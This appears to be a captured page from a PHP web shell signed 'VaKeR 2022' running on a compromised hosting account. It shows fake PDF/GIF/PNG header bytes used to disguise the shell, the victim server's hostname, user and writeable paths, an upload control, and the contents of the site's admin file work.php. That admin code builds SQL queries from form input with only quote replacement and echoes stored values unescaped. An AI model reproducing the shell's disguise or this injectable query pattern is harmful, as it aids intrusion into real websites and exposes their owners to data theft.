%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6031bb72/admin/manage_home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6031bb72/admin/manage_home/work.php
<?php 
error_reporting(0);
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');
}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
?>



<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
    <div class="pcoded-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">

 <div class="card-header d-flex justify-content-between">
<button class="btn btn-dark btn-sm btn-round fw-bold has-ripple text-white"><i class="feather icon-edit"></i>&nbsp; Our Work </button>
</div>
                        </div>
                     
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->
        
<div class="row">

<div class="col-md-12">
<div class="card">
<!-- <div class="card-header d-flex justify-content-between">
</div> -->
<div class="card-body">
<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<i class="feather icon-thumbs-up text-success"></i>&nbsp; &nbsp;<strong class="text-dark">'.$_SESSION['message'].'</strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['message']); 
?>


<?php 
$fetQuery=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM work_tbl WHERE id=1"));                        
?>
                      
<form method="post" action="" enctype="multipart/form-data" autocomplete="off">                       
<div class="row">

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="title1">Total Professionals</label>
<input type="text" name="title1" value="<?=$fetQuery['title1']?>" pattern="[0-9]+"  class="form-control">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="title2">Total Property Sell</label>
<input type="text" name="title2" value="<?=$fetQuery['title2']?>" pattern="[0-9]+"  class="form-control">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="title3">Total Property Rent</label>
<input type="text" name="title3" value="<?=$fetQuery['title3']?>" pattern="[0-9]+"  class="form-control">
</div>
</div>


<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="title4">Total Customers</label>
<input type="text" name="title4" value="<?=$fetQuery['title4']?>" pattern="[0-9]+"  class="form-control">
</div>
</div>


<div class="col-md-6 my-3">
<input type="submit" name="update" class="btn btn-danger" value="Update">
</div>




</div>


                     
 </form>                      
                       
                       
</div>
</div>
</div>
            
<!-- [ form-element ] end -->
</div>
<!-- [ Main Content ] end -->
</div>
</section>


    <!-- Required Js -->


</body>




<?php include('../include/footer.php'); ?>    


<?php
 if(isset($_POST['update'])){


   $title1=$_POST['title1'];
   $title1=str_replace("'", "\'", $title1);

   $title2=$_POST['title2'];
   $title2=str_replace("'", "\'", $title2);


   $title3=$_POST['title3'];
   $title3=str_replace("'", "\'", $title3);


   $title4=$_POST['title4'];
   $title4=str_replace("'", "\'", $title4);


    mysqli_query($conn,"UPDATE `work_tbl` SET 
    `title1`='$title1', 
    `title2`='$title2', 
    `title3`='$title3', 
    `title4`='$title4'
     WHERE id=1")or die(mysqli_error($conn)); 
     echo "<script>window.location='work.php?page=work';</script>";
    $_SESSION['message']="Record Updated successfully";

   }

?>


VaKeR 2022